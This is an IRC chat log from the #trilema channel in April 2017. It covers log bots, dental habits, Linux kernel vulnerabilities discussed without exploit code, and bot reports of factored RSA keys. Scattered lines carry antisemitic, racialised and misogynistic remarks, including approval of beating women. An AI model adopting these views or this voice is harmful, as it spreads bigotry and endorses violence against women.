1642510;1491970679;BingoBoingo;ty asciilifeform 1642511;1491975493;lobbes;http://btcbase.org/log/2017-04-11#1642183 << nah. Magic of not-python I assume. My logotron is just a python dildo I found in forest; parses each log flatfile each time search is performed. It is on my longterm list to actually write my own thing eventually (and yes, I would love to know how phf does it) 1642512;1491975493;a111;Logged on 2017-04-11 15:15 asciilifeform: the magic of not-sql! 1642513;1491975571;lobbes;Not-sql may indeed be the route I end up going though, after digesting recent threads here 1642514;1491975635;lobbes;For e.g., lobbesbot log quoting, conversely, -is- a sql, still plenty of delays 1642515;1491975680;lobbes;Seems the lisp-o-matics perform the smoothest in practice 1642516;1491999387;Framedragger;http://btcbase.org/log/2017-04-12#1642514 << well, run the query that the python runs prepended with explain analyze, see if it's doing some slow sequential scan or sth, perhaps just need to pop an index in :) 1642517;1491999387;a111;Logged on 2017-04-12 05:40 lobbes: For e.g., lobbesbot log quoting, conversely, -is- a sql, still plenty of delays 1642518;1492001814;asciilifeform;in other lulz >> http://newschannel9.com/news/nation-world/investigation-finds-inmates-built-computers-and-hid-them-in-ceiling-at-marion-prison-04-11-2017 >> 'Investigation finds inmates built computers and hid them in prison ceiling' 1642519;1492001830;mircea_popescu;lol! 1642520;1492001835;mircea_popescu;and this is a crime ? 1642521;1492001896;asciilifeform;apparently 1642522;1492001913;mircea_popescu;weird. 1642523;1492002583;trinque;http://www.breitbart.com/london/2017/04/11/ban-cars-newspaper-stockholm-attack/ << moar weird 1642524;1492002631;mircea_popescu;hey, cars offer way too much privacy for men! 1642525;1492002641;trinque;"Cars are driven largely by men so by giving a lot of space to cars; we’re giving a lot of space to men — at the expense of women" << lol, indeed 1642526;1492002644;trinque;they want Islam so bad 1642527;1492002645;mircea_popescu;aha 1642528;1492002701;mircea_popescu;i have nfi wtf swedish dudes are thinking, not chaining the lot of "Space for women" up on a pillory. 1642529;1492002779;trinque;http://btcbase.org/log/2017-03-18#1628925 << I'm curious about it as a necessary biological mechanism being triggered. 1642530;1492002779;a111;Logged on 2017-03-18 12:11 mircea_popescu: the problem, however, is that under the skin-deep "kid is fine", his passive genetics have seriously weakened. if he lives as part of a larger population that does this, a few generations down the road genetic decay manifests and there's literally no hope -- the population will either move to exogamy or die out. 1642531;1492002791;mircea_popescu;hm ? 1642532;1492002812;trinque;would have to know how much swedish genes sloshed around with other distinct populations 1642533;1492002819;trinque;maybe sweden's gene pool isn't doing so hot 1642534;1492002827;mircea_popescu;well they're tall and blond. so not so much. 1642535;1492002832;trinque;rihgt 1642536;1492002852;mircea_popescu;exogamy is never a mass behaviour, though. or at least not usually. 1642537;1492003032;asciilifeform;the tall 'aryan' swedes will go to same place as the original egyptians. 1642538;1492003054;asciilifeform;say hello to the new swedes. 1642539;1492003116;mircea_popescu;well the tall aryan swedes should have thought of this before going all jwz and djb. 1642540;1492003313;*;mircea_popescu warned them not beating women is unsustainable on the long term. what's their excuse ? trilema was right there. shoulda read it in worship. 1642541;1492007036;deedbot;http://phuctor.nosuchlabs.com/gpgkey/EAF54FDE695E66A46DA30A675534FBE16A07D95EF762358611DF3930EAA2BE7E << Recent Phuctorings. - Phuctored: 1735...3483 divides RSA Moduli belonging to '193.239.104.10 (ssh-rsa key from 193.239.104.10 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown DE) 1642542;1492007036;deedbot;http://phuctor.nosuchlabs.com/gpgkey/EAF54FDE695E66A46DA30A675534FBE16A07D95EF762358611DF3930EAA2BE7E << Recent Phuctorings. - Phuctored: 1683...0417 divides RSA Moduli belonging to '193.239.104.10 (ssh-rsa key from 193.239.104.10 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown DE) 1642543;1492007386;mod6;mornin' 1642544;1492007656;shinohai;morning mod6 how goes it? 1642545;1492007707;mircea_popescu;not bad 1642546;1492007728;mod6;ok :] 1642547;1492007732;mircea_popescu;o lol. skimreading 1642548;1492007792;shinohai; "blocks" : 382540, 1642549;1492007793;shinohai; "connections" : 11, 1642550;1492007799;mircea_popescu;nb 1642551;1492007912;mod6;upto 311k+ blocks. blk0011 nao 1642552;1492007938;shinohai;I'm the little engine that could. 1642553;1492009277;shinohai;!~later tell BingoBoingo http://wotpaste.cascadianhacker.com/pastes/m7b3v/?raw=true 1642554;1492009277;jhvh1;shinohai: The operation succeeded. 1642555;1492011768;ben_vulpes;you know what tastes great with penny stocks? fake news: http://www.barrons.com/articles/fake-investment-news-could-be-here-to-stay-1491951655 1642556;1492011901;mircea_popescu;lel 1642557;1492011919;mircea_popescu;they're so adorkable, the jews, how seriously they take themselves. 1642558;1492011929;mircea_popescu;"fake news"!111 somebody gives a shit what we call things!!11 1642559;1492014717;mircea_popescu;meanwhile at weirdo motel, http://68.media.tumblr.com/d0529eae014a9eab8ac440f54da3a0f1/tumblr_oj0izxZ2871ue0rjuo1_400.gif 1642560;1492015758;asciilifeform;!~seen mats 1642561;1492015758;jhvh1;asciilifeform: I have not seen mats. 1642562;1492015778;asciilifeform;hm that thing's broken ainnit. 1642563;1492015782;asciilifeform;shinohai ^ ? 1642564;1492015809;asciilifeform;;;seen mats 1642565;1492015816;asciilifeform;hm. 1642566;1492015913;mircea_popescu;http://btcbase.org/log/2017-02-23#1617157 1642567;1492015913;a111;Logged on 2017-02-23 18:36 mats: i was also stung by the alphago bet 1642568;1492015926;asciilifeform;i can grep too 1642569;1492015937;asciilifeform;but looks like we haven't a 'seen' tool any moar in-chan. 1642570;1492015944;mircea_popescu;apparently not. 1642571;1492015958;shinohai;!~seen mats 1642572;1492015959;jhvh1;shinohai: I have not seen mats. 1642573;1492015992;mircea_popescu;!~seen asciilifeform 1642574;1492015992;jhvh1;mircea_popescu: asciilifeform was last seen in #trilema 54 seconds ago: but looks like we haven't a 'seen' tool any moar in-chan. 1642575;1492016001;mircea_popescu;!~seen doppler 1642576;1492016001;jhvh1;mircea_popescu: doppler was last seen in #trilema 13 hours, 49 minutes, and 33 seconds ago: neat 1642577;1492016008;mircea_popescu;maybe it expires after a while. 1642578;1492016011;asciilifeform;iirc jhvh1 loses state 1642579;1492016020;mircea_popescu;musta rebooted since feb. 1642580;1492016023;asciilifeform;( and so is completely useless for 'seen', the knob imho oughta be fixed or removed ) 1642581;1492016046;mircea_popescu;i dunno. so person wasn't seen recently. 1642582;1492016073;mircea_popescu;prolly best to have multiple bots with different memory lengths lol. 1642583;1492016104;asciilifeform;mircea_popescu: if it reboots tonight, it will think it has never seen whoever. silent failure is Wrong Thing 1642584;1492016118;mircea_popescu;it's not a failure inasmuch as you're asking it not god. 1642585;1492016125;mircea_popescu;it honestly hadn'\ seen x. 1642586;1492016136;shinohai;I almost had trinque 's logotron working but then i moved and lost my notes 1642587;1492016146;asciilifeform;if it, say, 'have not seen mats since feb 22, and no idea re last thursday because i was down' -- would be different matter. 1642588;1492016150;mircea_popescu;o.o 1642589;1492016160;mircea_popescu;asciilifeform you can grep. 1642590;1492016166;asciilifeform;on other hand 'haven't seen mats and hey maybe my uptime is 5min and fuck you' is sad. 1642591;1492016171;mircea_popescu;why ? 1642592;1492016179;asciilifeform;because worse than useless. 1642593;1492016195;mircea_popescu;look, you're more than welcome to your epithets but they are not reasons. 1642594;1492016208;asciilifeform;does mircea_popescu keep broken chairs at his house ? 1642595;1492016221;mircea_popescu;i keep humans at my house. i have no expectation of divinity in my humans. 1642596;1492016241;mircea_popescu;your expectation of divinity in your bots is of the same root as an expectation of friendship supplementation in computers aka "ai". 1642597;1492016242;asciilifeform;or i, in chairs. but if it has a broken leg, it gets fixed or thrown. 1642598;1492016252;mircea_popescu;so far it's not clear what leg is broken. 1642599;1492016263;mircea_popescu;you asked bot what it saw an' it told you. 1642600;1492016266;asciilifeform;not 'divinity', mircea_popescu , but meeting bare minimal state of art. i.e. no less functional than ye olde gribble. 1642601;1492016289;mircea_popescu;can trivially have a bot that saves state ; it's not clear however that such a bot would be BETTER. 1642602;1492016308;asciilifeform;'seen' is a log grep. no need to save additional state beyond what trinque et al already saved. 1642603;1492016319;asciilifeform;unless i am missing something. 1642604;1492016323;mircea_popescu;apparently that's not how it's implemented here. 1642605;1492016348;mircea_popescu;and i see a legitimate function for this implementation. maybe my idea of "you've been gone too long" is "j no longer recalls you". what's the problem with that ? 1642606;1492016349;asciilifeform;to rewind upstack: i asked after mats because he was the last to mention bulk sources of esp8266. 1642607;1492016355;asciilifeform;mats if you are tuned in, please write in. 1642608;1492016386;asciilifeform;mircea_popescu: my problem is that the period in which it 'does not recall' is 1) random 2) unknown. 1642609;1492016392;mircea_popescu;right. 1642610;1492016393;asciilifeform;which makes the thing a roulette. 1642611;1492016398;mircea_popescu;quite. 1642612;1492016479;mircea_popescu;gotta face the facts : logs are fragmentary ; memory is fragmentary. you won't have perfect recall for physics reasons. 1642613;1492016502;asciilifeform;logs are fragmentary but converge to completeness. 1642614;1492016543;mircea_popescu;as they did above. 1642615;1492016606;asciilifeform;and yes, anybody can grep. in-chan commands give a useful added flavour, imho, however. 1642616;1492016624;asciilifeform;( recall the thread re in-chan shell for l1 folx ? i still think it would be neato ) 1642617;1492016625;mircea_popescu;no argument there. exactly what the flavour should be however... 1642618;1492016638;mircea_popescu;nothing wrong with "since i woke up". nothing wrong with "i save state", either. 1642619;1492016654;asciilifeform;#!seen mats 1642620;1492016662;asciilifeform;!#seen mats 1642621;1492016662;a111;2017-02-23 i was also stung by the alphago bet 1642622;1492016665;asciilifeform;aaaaah 1642623;1492016667;asciilifeform;ty phf ! 1642624;1492016669;mircea_popescu;there you go. 1642625;1492016697;mircea_popescu;whole point of multi-implementation is to have flavour. 1642626;1492016735;*;asciilifeform updates old crib sheet 1642627;1492016748;*;mircea_popescu passes muscle memory rewiring pil 1642628;1492016757;asciilifeform;lol 1642629;1492016761;mircea_popescu;hehe 1642630;1492016770;ben_vulpes;oh oh i have one of those too 1642631;1492016773;ben_vulpes;it's called practice 1642632;1492016799;mircea_popescu;look who perked up, the spine wonder! 1642633;1492016803;mircea_popescu;how goes portland ? 1642634;1492016821;ben_vulpes;wonder of wonders, the sun is out and the lawn sprouting seedlings 1642635;1492016835;ben_vulpes;and i can put one foot on the other leg's knee today 1642636;1492016853;ben_vulpes;trainputing is not tortue today, joy of joys 1642637;1492016874;BingoBoingo;Perhaps what you really need is a new hip 1642638;1492016890;mircea_popescu;or a better toothbrush 1642639;1492016903;mircea_popescu;"but mp i've always used a telephone pole" 1642640;1492016911;ben_vulpes;you know i don't think we've ever done the "sonicare" thread in here 1642641;1492016918;mircea_popescu;"yes but they have these 70 gram things at the grocery store now" 1642642;1492016927;asciilifeform;ben_vulpes: ooh the brain liquifier! 1642643;1492016942;ben_vulpes;lol brain liquifier? 1642644;1492016955;ben_vulpes;that must be why my memory's going 1642645;1492017001;ben_vulpes;anyways i'm in search of someone who used the 43kHz machine for a week and then voluntarily gave it up 1642646;1492017046;asciilifeform;ben_vulpes: i've been using'em for decade+ but still nfi if 'works' or 'gives feeling of power' 1642647;1492017060;BingoBoingo;What's wrong with brass bristle wire brush? Copper content makes it self disinfecting. 1642648;1492017063;ben_vulpes;asciilifeform: ever ditch it for a week? 1642649;1492017070;deedbot;http://qntra.net/2017/04/us-department-of-justice-absconding-with-botnet-in-spanish-arrest/ << Qntra - US Department of "Justice" Absconding With Botnet In Spanish Arrest 1642650;1492017076;ben_vulpes;BingoBoingo: brushes his teeth with an angle grinder ofc 1642651;1492017087;trinque;whiskey same as mouthwash right? 1642652;1492017090;asciilifeform;ben_vulpes: aha, one time went on business without it 1642653;1492017090;ben_vulpes;lol "justice" 1642654;1492017142;BingoBoingo; whiskey same as mouthwash right? << Not any more. 1642655;1492017147;trinque;ah meant me lol 1642656;1492017150;trinque;is joek 1642657;1492017154;BingoBoingo;Ah ic 1642658;1492017158;BingoBoingo;Now ip 1642659;1492017165;ben_vulpes;lol 1642660;1492017185;ben_vulpes;also this mouthwash thing, does one really want to nuke the commensal population regularly? 1642661;1492017225;asciilifeform;http://qntra.net/2017/04/us-department-of-justice-absconding-with-botnet-in-spanish-arrest/#comment-93135 1642662;1492017227;*;ben_vulpes is full of ignorance in re oral health 1642663;1492017232;trinque;nah, and wouldn't surprise if diet has a lot more influence on mouth health than this brushing thing 1642664;1492017254;trinque;decadent modern innovations! 1642665;1492017302;ben_vulpes;what, trinque does not wash arsehole either? 1642666;1492017320;ben_vulpes;de-lint ballsack folds? 1642667;1492017321;trinque;http://www.telegraph.co.uk/news/worldnews/europe/italy/11902097/Ancient-Romans-had-perfect-teeth-thanks-to-healthy-low-sugar-diet.html 1642668;1492017337;trinque;I do, but I question "why?!" each time! 1642669;1492017355;trinque;iirc they've found way older corpses than above with same, great teeth, where was caveman's toothbrush 1642670;1492017378;asciilifeform;he had 0 refined sugar. 1642671;1492017382;trinque;that, for sure. 1642672;1492017392;asciilifeform;and generally had the good fortune to get nailed before 'old age'. 1642673;1492017400;mircea_popescu;real men don't have folds in their ballsacks! 1642674;1492017417;ben_vulpes;real men clean ballsacks with slavegirl faces! 1642675;1492017443;mircea_popescu;this sounds like it'd work, the only problem being that slavegirl faces' tongues contain saliva which is actually peptic. 1642676;1492017452;mircea_popescu;skin dun like the procedure much. prefers slightly alcaline soap. 1642677;1492017454;ben_vulpes;well don't marinade it 1642678;1492017460;ben_vulpes;marinate* 1642679;1492017474;shinohai;6 1642680;1492017476;ben_vulpes;lol mircea_popescu had story about discovering this the hard way, yes? 1642681;1492017480;mircea_popescu;feel free to try, i've not yet found an oral method. 1642682;1492017487;mircea_popescu;i'm sure. 1642683;1492017578;ben_vulpes;anyways, anyone playing along with c11quest may consider the following CXXFLAGS: -std=cxx11 -DBOOST_NO_CXX11_SCOPED_ENUMS 1642684;1492017603;ben_vulpes;that last one is mostly a mystery to me, but boost demands it 1642685;1492017603;mircea_popescu;anyway, i don't use mouthwash, nor would i. i can feel my tastebuds die it's horrible. i suspect usage of the shit has a lot to do with why us food is such tastel;ess crap. dudes can't taste anyway./ 1642686;1492017623;deedbot;http://phuctor.nosuchlabs.com/gpgkey/4697629D1A4C3B182613EA1F8F99412543368AE3E053FAD018995B3A337BDD93 << Recent Phuctorings. - Phuctored: 1434...7747 divides RSA Moduli belonging to '85.197.99.112 (ssh-rsa key from 85.197.99.112 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (galactica.welcome2inter.net. DE) 1642687;1492017624;deedbot;http://phuctor.nosuchlabs.com/gpgkey/4697629D1A4C3B182613EA1F8F99412543368AE3E053FAD018995B3A337BDD93 << Recent Phuctorings. - Phuctored: 1653...9817 divides RSA Moduli belonging to '85.197.99.112 (ssh-rsa key from 85.197.99.112 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (galactica.welcome2inter.net. DE) 1642688;1492017643;ben_vulpes;see also popularity of msg 1642689;1492017652;mircea_popescu;i do get the high freq vibrating metal rod at the dentist maybe once or twice a year, but i never thought of getting a bathroom version. 1642690;1492017678;ben_vulpes;not a bad thing qua itself, shows up in normal fucking foods all the time, but keeping a shaker of it around is Not Great 1642691;1492017685;mircea_popescu;dun seem like such a bright idea. too much in the vein of "fucking this whore's great fun once a week, i know, how about she moves in!" 1642692;1492018067;asciilifeform;the brain liquifier is very very addictive. 1642693;1492018083;mircea_popescu;rly ?! 1642694;1492018084;asciilifeform;after a while -- normal brush feels 'ugh, like using sandpaper' 1642695;1492018141;ben_vulpes; /ineffective/ sandpaper 1642696;1492018331;*;mircea_popescu can't be arsed to try this wonder. 1642697;1492020215;mircea_popescu;meanwhile on social sciences campus, http://68.media.tumblr.com/a41ea9e4fb9c8c1ec3142213a0ba584a/tumblr_omrhr96ZN41ucoif3o1_400.gif 1642698;1492020702;lobbes;!Qseen mats 1642699;1492020702;lobbesbot;lobbes: I have not seen mats. 1642700;1492020709;lobbes;Wah wah 1642701;1492020726;lobbes;Well, redundancy anyways 1642702;1492020819;mircea_popescu;!Qseen lobbes 1642703;1492020819;lobbesbot;mircea_popescu: lobbes was last seen in #trilema 1 minute and 33 seconds ago: Well, redundancy anyways 1642704;1492020828;mircea_popescu;!Qseen Skydragon 1642705;1492020828;lobbesbot;mircea_popescu: I have not seen Skydragon. 1642706;1492020856;mircea_popescu;!Qseen deedbot 1642707;1492020856;lobbesbot;mircea_popescu: deedbot was last seen in #trilema 53 minutes and 52 seconds ago: http://phuctor.nosuchlabs.com/gpgkey/4697629D1A4C3B182613EA1F8F99412543368AE3E053FAD018995B3A337BDD93 << Recent Phuctorings. - Phuctored: 1653...9817 divides RSA Moduli belonging to '85.197.99.112 (ssh-rsa key from 85.197.99.112 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or (1 more message) 1642708;1492020894;mircea_popescu;!Qseen mircea_popescu 1642709;1492020894;lobbesbot;mircea_popescu: mircea_popescu was last seen in #trilema 38 seconds ago: !Qseen deedbot 1642710;1492022854;shinohai;didnt romans advocate the use of urine as mouthwash? 1642711;1492025671;asciilifeform;lobbes: pretty neat 1642712;1492025676;mircea_popescu;and in other hot hos, http://68.media.tumblr.com/0b3817c0153c0d491c757468369d371f/tumblr_omsphpjKId1tgc11ao1_1280.jpg 1642713;1492025734;mod6;nice 1642714;1492027245;ben_vulpes;in other eerie coincidences of manufactured life, this coffee cup weighs about as much as the water it holds 1642715;1492027486;pete_dushenski;also eerie [brasilian style], "Couple who went ahead with their wedding after a hitman walked in and SHOT three relatives say they were 'trying to make the best of it' but were upset 'so much food was wasted' after guests fled" http://archive.is/W1ZOs 1642716;1492027539;pete_dushenski;which is pretty much on the same level as richard branson's new 'dyslexic-only sperm bank' http://archive.is/bIyns 1642717;1492027630;mircea_popescu;hopefully the nato world doesn't run out of gimmicks. 1642718;1492027645;mircea_popescu;#1 raw material for "World economy" ! 1642719;1492027766;pete_dushenski;as long as bezos is still alive, it's always Day 1 1642720;1492027788;*;pete_dushenski is adnotating scamazon 2016 shareholder's letter atm 1642721;1492034301;danielpbarron;http://btcbase.org/log/2017-04-12#1642660 << i don't use mouthwash, brush and floss once a day (with regular non vibrating brush, and i reuse the floss untill it splits apart or breaks) -- hadn't been to the dentist in over 8 years; went in last year and they tell me my teeth are in great shape considering, although i did have to get some cavities fixed (mostly in wisdom teeth which is expected. and yes i still have my wisdom teeth 1642722;1492034301;a111;Logged on 2017-04-12 17:13 ben_vulpes: also this mouthwash thing, does one really want to nuke the commensal population regularly? 1642723;1492034336;danielpbarron;also i avoid sugar, drink mostly tea. 1642724;1492034606;danielpbarron;!!v AD299ADAD916245BDBC79F60C2591250AC0B66221DB6EDB86B7C5C21F1F6F832 1642725;1492034606;deedbot;danielpbarron rated Skydragon 1 << my Euloran slave 1642726;1492034718;diana_coman;uhm, what's with the wisdom teeth+expected? 1642727;1492034735;danielpbarron;apparently they go bad easier 1642728;1492034773;mircea_popescu;this is so. 1642729;1492034829;*;diana_coman must be some exception then 1642730;1492034871;mircea_popescu;women get wisdom teeth ?! 1642731;1492034956;diana_coman;? 1642732;1492035023;danielpbarron;they are just harder to reach with the brush. if you take the time to carefully brush them regularly then they should be fine. or that's how i understand it 1642733;1492035043;diana_coman;ah, that makes some sense 1642734;1492035066;mircea_popescu;nah, they're just cruddier stuff. half the time they don't even grow the right way. as they're inclined, they get transversal pressure either from the bite or from the jaw/other teeth (which are stronger) or both. 1642735;1492035077;mircea_popescu;on the long term this pressure kills them as sure as sugar. 1642736;1492035153;asciilifeform;'Dyslexia has been a massive help for me personally; it makes me think creatively and laterally, two major factors that helped me create Virgin and build a global brand. Dyslexia is a different way of thinking, not a disadvantage and it shouldn’t stop young people from achieving success and striving to make their dreams a reality. Just look at what these amazing dyslexic people have achieved…' << lol!! 1642737;1492035183;diana_coman;ah, position might be a thing 1642738;1492035202;mircea_popescu;dude's been doing nothing but bleeding money for 20 yearse 1642739;1492035226;asciilifeform;maybe he has a parallel alt-arithmetic where he's winning!11 1642740;1492035252;mircea_popescu;17 - 25 => 71 - 52 => PROFIT!!! ? 1642741;1492035255;diana_coman;hey, he's ...happy, ok? so amazing etc 1642742;1492035268;mircea_popescu;i dunno about happy, but he's hyppa'lright. 1642743;1492035281;diana_coman;good enuf 1642744;1492035300;mircea_popescu;lol this reminded me of the "ne futem sau evadam" 1642745;1492035355;diana_coman;lol 1642746;1492037598;*;mircea_popescu teaches girl how to make pizza etc, now the whole house smells like i'm in neapole. 1642747;1492040038;mircea_popescu;anyway, in other lulz, the word is teh russians will shoot back next time ; should be interesting to see if teh us got the ballsack. 1642748;1492042197;asciilifeform;mircea_popescu: as proclaimed in https://ria.ru/syria/20170411/1491967099.html ( linked mainly for the lulpic ) 1642749;1492042554;deedbot;http://www.contravex.com/2017/04/12/amazon-2016-letter-to-shareholders-adnotated/ << » Contravex: A blog by Pete Dushenski - Amazon 2016 Letter to Shareholders, adnotated. 1642750;1492043224;ben_vulpes;http://www.theverge.com/2017/4/12/15259400/burger-king-google-home-ad-wikipedia in which the complexity cost of networked life starts becoming apparent to everyone 1642751;1492044572;mircea_popescu;asciilifeform aha 1642752;1492044582;mircea_popescu;ben_vulpes can has summary ? 1642753;1492044892;mircea_popescu;in other real news, ttp://68.media.tumblr.com/0b3817c0153c0d491c757468369d371f/tumblr_omsphpjKId1tgc11ao1_1280.jpg 1642754;1492045358;ben_vulpes;mircea_popescu: burger king triggered the "google home" devices' voice recognition, got them to blather about burger king products after the ad roll 1642755;1492045374;mircea_popescu;aok 1642756;1492045403;ben_vulpes;that's a rerun from today, innit? 1642757;1492045590;asciilifeform;the sheer idiocy of 'voice command' -- in particular, when device offers no other ui, there are cars now that can only be configured with voice ( are these only sold in anglotardistan? i can only with difficulty picture them elsewhere ) 1642758;1492045606;mircea_popescu;is it ? 1642759;1492045639;asciilifeform;is which 1642760;1492045654;mircea_popescu;a rerun 1642761;1492045676;mircea_popescu;anyway, http://68.media.tumblr.com/0b3817c0153c0d491c757468369d371f/tumblr_omsphpjKId1tgc11ao1_1280.jpg << owlgirl sez wut?! 1642762;1492045705;asciilifeform;http://btcbase.org/log/2017-04-12#1642712 1642763;1492045705;a111;Logged on 2017-04-12 19:34 mircea_popescu: and in other hot hos, http://68.media.tumblr.com/0b3817c0153c0d491c757468369d371f/tumblr_omsphpjKId1tgc11ao1_1280.jpg 1642764;1492045850;mircea_popescu;o wahdda ya know, did the wrong one. meant http://68.media.tumblr.com/6b5224a3c09c29b874920d9160afac8c/tumblr_n66asqTtw81sma9e2o1_1280.jpg 1642765;1492046183;ben_vulpes;nobody listens to dumb ol visual memory ben_vulpes 1642766;1492046778;mircea_popescu;kek 1642767;1492058085;mircea_popescu;!!up xhiggy 1642768;1492058085;deedbot;xhiggy voiced for 30 minutes. 1642769;1492058564;xhiggy;anyone here? 1642770;1492058823;ben_vulpes;37 seconds from join to up, just shy of two minutes from up to first line, ~same from first line to quit 1642771;1492059489;mircea_popescu;heh 1642772;1492059647;mircea_popescu;canadians. 1642773;1492083582;mircea_popescu;"* A race condition flaw was found in the N_HLDC Linux kernel driver when accessing n_hdlc.tbuf list that can lead to double free. A local, unprivileged user able to set the HDLC line discipline on the tty device could use this flaw to increase their privileges on the system. (CVE-2017-2636, Important)" 1642774;1492083585;mircea_popescu;did we do this ? 1642775;1492084181;Framedragger;mircea_popescu: i don't think so, and i thought about linking this, too heh (need to update/patch kernels if they are < 4.5) 1642776;1492084188;Framedragger;it's great fun! 1642777;1492084207;mircea_popescu;real men don't multiuser linux boxes. 1642778;1492084231;Framedragger;ohno wait this is something else.. i was planning to link https://nvd.nist.gov/vuln/detail/CVE-2016-10229 1642779;1492084241;Framedragger;<< this one *does* apply to everyone < 4.5 i think 1642780;1492084253;Framedragger;multibugs for multiusers 1642781;1492084295;Framedragger;(the latter is a proper RCE) 1642782;1492084491;Framedragger;^ fuckload of android sheep affected. did i hear, 'another internet survey?' 1642783;1492084568;mircea_popescu;heh 1642784;1492084622;trinque;All those pnojes will be lost in time, like tears in rain. Time to die. 1642785;1492084675;mircea_popescu;they support the last flimsy pretense of public participation, you realise. about half the general population is functionally illiterate, will spend all their social time inthe day clucking at the things for literal lack of alternative options. 1642786;1492084683;Framedragger;trinque: sounds like a line from a text based adventure game :) 1642787;1492084720;Framedragger;ahh blade runner 1642788;1492084722;trinque;did they make one? it was Blade Runner, Do Androids Dream of Electric Sheep in tree form 1642789;1492084723;mircea_popescu;the options died because of the classical giant-sits-in-chair. in the decade intervening, bars went out of business, and people who knew how to run a bar moved on. it's not like the sheeple will raise up and RECONSTRUCT THE PUB. 1642790;1492084728;Framedragger;ah nice. 1642791;1492084732;mircea_popescu;so, once they go into the night, that's it. 4 concrete walls. 1642792;1492085244;mircea_popescu;same model repeating itself over and over and over again. oh, the ancient world where slave talked to woman talked to husband talked to headsman talked to senator was humiliating and inequalitarian ? let's flatten it into a system where 1% talk to the senator (1000% increase over the 0.1% of yore!!11) and the rest talk into an empty takeout box. PROGRESS!!!1 1642793;1492085337;mircea_popescu;and besides, only terrorists would notice that moving from moderated but present inclusion of everyone towards absolutely exclusiuon of almost everyone is no fucking improvement in public access. what, comparisons ? RACIST!!1 thinking about things ?!!?!? MYSOGINY!!!11 1642794;1492085338;mircea_popescu;idiots. 1642795;1492085373;trinque;that trilema was one of the more world-altering ones for me, where you described that the hierarchial social model actually gave better odds for the lower branches to be heard. not that this by itself is the most important thing, but rather that look, sense works better for everyone because it is sense. 1642796;1492085534;mircea_popescu;yeah. see, in 1617 the clerk interesterd could go ask the peasants, and if nobody did it was ~an option~ of theirs, which they could remedy or alter. today, pollster is going to talk to peasant's phone which'll tell him moot is to be nytimes man of the year, and he'll call the observation that inexplicably hillary clinton had no support, polls notwithstanding, "Fake news". this is NO LONGER AN OPTION OF HIS. 1642797;1492085558;mircea_popescu;huge fucking loss in human control over human affairs, and meanwhile the idiots are sitting around worrying about "Evil ai". hey, guess what, you don't need the ai to fuck you over. 1642798;1492085683;mircea_popescu;somehow the fact that i can make the phones ( or solar panels, or fridges/cars/whateverelse) read absolutely anything i wish while the poor fuckers supposedly so represented have exactly 0 recourse and 0 alternative is of no concern ; meanwhile the deeply inept conclave of imbeciles is happy and patting each other on the back ebcause hey, they stole a botnet! worth 2-3mn ie nothing! IT WAS ALL WORTH IT!!11 1642799;1492085693;mircea_popescu;idiots, no more can be said, what. 1642800;1492086707;mircea_popescu;back in 1938 THIS https://www.youtube.com/watch?v=SjJry0vhHj4 was a fucking thing. why ? i have no idea, because a black woman lost her fucking basket. who cares, what difference does it make ? i dunno, none that anyone can discern. NEvERTHELESS!!!!! there she is. she's there. with her stupid basket that only could possibly matter to her. yes, "and half a million black women entirely indistinguishable from her", but this as a 1642801;1492086708;mircea_popescu; natural fact not as an outside enforcement. 1642802;1492086749;mircea_popescu;today it's "here's a deck of representational trading cards, pick one to think you are, and we'll be reprersenting... the card!!! and therefore (?!?!?) you". 1642803;1492086788;mircea_popescu;do you wanna be a kimkardashialladin or a meganfoxarrior ? or perhaps a transgenderogue ? 1642804;1492086832;mircea_popescu;deck's got it fucking all, max aoe, max dps, defense buff, you name it! and don't fucking go "wtf is all this dumb shit" because that's self-radicalizing!!11 1642805;1492086996;mircea_popescu;there's a rather tremendous difference between ella fitzgerald caring about her basket for no reason anyone could comprehend ; and a twentysomething pantsuided aide with 0 sexual experience and owing money coming up with "these are the four things THAT COULD BE, i spent a whole five minutes thinking through the "metaphysics" of "life" and this is what came out so therefore!1". yes, on their own devices people live lives that 1642806;1492086996;mircea_popescu;are bad literature. but there's a tremendous difference between letting them do just that and trying to force them to act in your badly written, tendentious bit of fanfic (with bowdlerized bits lifted from shakespeare and mark twain, just like the sad bits of processed fruit that made their way in your granola). 1642807;1492087046;mircea_popescu;and this is how i'll end up hittign the rum at six in the fucking morning. 1642808;1492087510;asciilifeform;http://btcbase.org/log/2017-04-13#1642778 << who the fuck sets MSG_PEEK flag and why 1642809;1492087510;a111;Logged on 2017-04-13 11:50 Framedragger: ohno wait this is something else.. i was planning to link https://nvd.nist.gov/vuln/detail/CVE-2016-10229 1642810;1492087524;mircea_popescu;koch. 1642811;1492087530;asciilifeform;where? 1642812;1492087533;mircea_popescu;guess why. 1642813;1492087551;mircea_popescu;i'm using the name to represent the corruption. you know who sets it, usg agents set it. and for the obvious why. 1642814;1492087555;asciilifeform;i dun recall koch calling recv() ever 1642815;1492087559;asciilifeform;lolk 1642816;1492087594;asciilifeform;but i sat down and tried to answer concrete q, who and where sets it, so far found 0 examples in anything asciilifeform used or would use 1642817;1492087622;mircea_popescu;eh, as long as it gets people on the new kernel. it's good for them. 1642818;1492087622;asciilifeform;Framedragger do you happen to know of one ? 1642819;1492088237;trinque;asciilifeform: https://github.com/craSH/socat/blob/master/xio-udp.c#L220 << appears socat does 1642820;1492088295;mircea_popescu;nice find. apparently that's the ONLY thing on all github that does. 1642821;1492088396;asciilifeform;lol!! 1642822;1492088399;asciilifeform;http://btcbase.org/log/2016-02-05#1397434 1642823;1492088399;a111;Logged on 2016-02-05 21:54 ascii_butugychag: '“I cannot for sure rule out the possibility of a backdoor,” said Gerhard Rieger, a Socat maintainer. “But personally I do not believe that the contributor has a backdoor because he uses an email address at a well known and reputated company, and if someone wants to install such a backdoor he would not use a parameter that can easily be proven as non prime.”' 1642824;1492088403;mircea_popescu;aha. socat, what more do oyu need. 1642825;1492088417;asciilifeform;+ http://btcbase.org/log/2016-02-05#1397436 . 1642826;1492088417;a111;Logged on 2016-02-05 21:55 ascii_butugychag: 'A post to a technical forum discovered that the non-prime parameter was introduced more than a year ago. A note in the commit indicates that Socat was not working in FIPS mode because it requires a 1024 Diffie-Hellman 